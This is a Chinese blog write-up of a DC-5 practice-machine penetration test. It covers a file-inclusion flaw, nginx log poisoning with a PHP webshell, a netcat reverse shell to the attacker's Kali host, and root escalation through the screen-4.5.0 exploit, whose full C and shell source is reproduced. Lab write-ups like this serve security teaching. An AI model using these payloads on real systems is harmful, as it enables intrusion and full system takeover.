DC-5靶机渗透测试

靶机所需环境

  • 目标靶机:DC-5(192.168.160.151)
  • 攻击机:Kali Linux(192.168.160.142)
  • 本机:Windows 10

本次实验目的:由于不知道DC-5目标靶机的登录用户名密码信息,所以需要通过对该靶机进行一系列渗透操作,最终拿到该靶机的最高权限,也就是root权限;

信息收集

  • 开启DC-5和Kali Linux,使用arp-scan -l命令查看该网段下的存活主机,发现有四个存活主机;

在这里插入图片描述

  • 假设我们并不知道靶机IP为192.168.160.151,其实也很简单只需要关闭DC-5靶机即可,再使用一次该命令,少了那个就是目标靶机,这里就不再演示啦,也是提供一种思路😁;
  • 成功得到目标IP后,对其进行端口开放及其服务信息收集,使用nmap -sV 目标IP命令,-sV是显示端口服务开放详细信息;

在这里插入图片描述

知识小拓展
nmap -sP 192.168.160.0/24:查看该网段下的存活主机,和前面的arp-scan -l用法类似;
namp -sS 192.168.160.151:查看IP端口开放信息;
nmap -sV 192.168.160.151:查看IP端口开放及其服务详细信息;

漏洞利用

  • 通过信息收集发现该IP下开放了一个80端口,且使用的web服务器是nginx,尝试访问80端口;

在这里插入图片描述

  • 随便点击该网页功能发现文件后缀皆是php,并发现在Contact处能提交内容,提交内容后刷新发现@后面的年份会有所变化;

在这里插入图片描述

  • 通过上面的测试可以得出两点猜想,一是网站大概率是php写的,二是内容处可能存在文件包含漏洞,这样思路就比较明确了,可使用御剑对该网站进行文件扫描;

在这里插入图片描述

  • 猜测应该是footer.php控制着这个年份页脚,再回到提交内容页面,将提交后的东西全部删除,通过经验猜测参数大概率是file

在这里插入图片描述

  • file后面输入footer.php文件,成功访问到了年份;

在这里插入图片描述

  • 测试读取一下本地敏感信息,发现成功读取,这里确实存在文件包含漏洞,实锤了;

在这里插入图片描述

  • 由于该网站的服务器是nginx,查阅资料发现该服务器下会存在一个错误日志,尝试访问下/var/log/nginx/error.log

在这里插入图片描述

  • 这里有一个思路,既然错误日志会将所有的错误信息都存入日志,那如果输入一个不存在的文件,那自然也会当做错误信息存入错误日志里面,于是这里想到了可以一句话木马呀;

上传一句话shell

  • 将参数内容输入为一句话木马,但要进行抓包输入,原因是如果直接在地址栏输入会被浏览器编码,这样的话一句话木马就不能发挥作用了;

在这里插入图片描述

  • 访问错误日志,查看木马是否上传成功;

在这里插入图片描述

蚁剑连接

  • 复制木马url,粘贴url,密码为a,点击测试;

在这里插入图片描述

  • 点击添加,右击进入虚拟终端;

在这里插入图片描述

  • 发现该用户为普通用户,权限有点低,但我们需要获取到root权限,接下来进行提取操作

权限提升

  • 使用nc工具,也叫做瑞士军刀,攻击机(Kali Linux)开启监听nc -lvp 1234

在这里插入图片描述

  • 蚁剑里的目标靶机使用nc -e /bin/bash 192.168.160.142(kali的IP) 1234(监听端口)命令反弹连接;

在这里插入图片描述

  • kali机执行脚本python -c 'import pty;pty.spawn("/bin/bash")'命令进行交互;

在这里插入图片描述

  • 执行find / -perm -u=s -type f 2>/dev/null命令,查找设置了Suid权限的文件;

在这里插入图片描述

  • 发现里面有个screen-4.5.0可以进行提权,kali新开一个窗口2,搜索关于screen-4.5.0的exp;

在这里插入图片描述

  • 执行searchsploit -m 41154命令将41154.sh拷贝到当前目录下,我这里是root目录;

在这里插入图片描述

文件生成

  • 执行ls命令查看目录文件,接着执行cat 41154.sh查看文件内容,需要将该文件分为三个部分的文件;

在这里插入图片描述

文件一
  • 第一个文件libhax.c内容如下;
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

执行gcc -fPIC -shared -ldl -o libhax.so libhax.c命令,成功会生成libhax.so文件,ls查看;

在这里插入图片描述

文件二
  • 第二个文件rootshell.c内容如下;
#include <stdio.h>
#include <unistd.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh",  NULL);
}

执行gcc -o rootshell rootshell.c命令,成功会生成rootshell文件,ls查看;

在这里插入图片描述

文件三
  • 第三个文件dc5.sh内容如下;
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

ls查看三个文件是否都存在;

在这里插入图片描述

获取root权限

  • 将三个文件复制到物理机(Windows 10),在蚁剑tmp目录下上传这三个文件;

在这里插入图片描述

  • 成功将文件上传;

在这里插入图片描述

  • 目标机(kali)交互页面,进入tmp目录执行ls目录查看文件并赋予dc5.sh文件执行权限,执行./dc5.sh命令,发现成功获取root权限;

在这里插入图片描述
上一篇 > DC-4靶机渗透测试

下一篇 > DC-6靶机渗透测试

以上内容就是DC-5靶机渗透测试的全过程,说下我的真实感受叭,前面的操作都还是挺顺利的,就在最关键的一步提取卡了我很长时间,几次真的想要放弃了,但在不断试错,排除问题和查阅资料中,终于找到了问题所在,原因其实也挺简单的,由于glibc版本的不同,导致最终编译c文件所生成的文件也不同,所以会导致提权失败,解决办法可以用glibc版本较低的主机执行该命令或者下载对应的glibc版本即可,不过自己亲手将问题解决的感觉还不赖哟,同时也说明还要学习的地方还有很多,继续加油,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,请各位小伙伴多多支持,走之前别忘了点个赞哟😁!

以上内容仅供学习参考使用,切勿用于非法用途,切勿用于非法用途,切勿用于非法用途!!!重要的事情说三遍

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值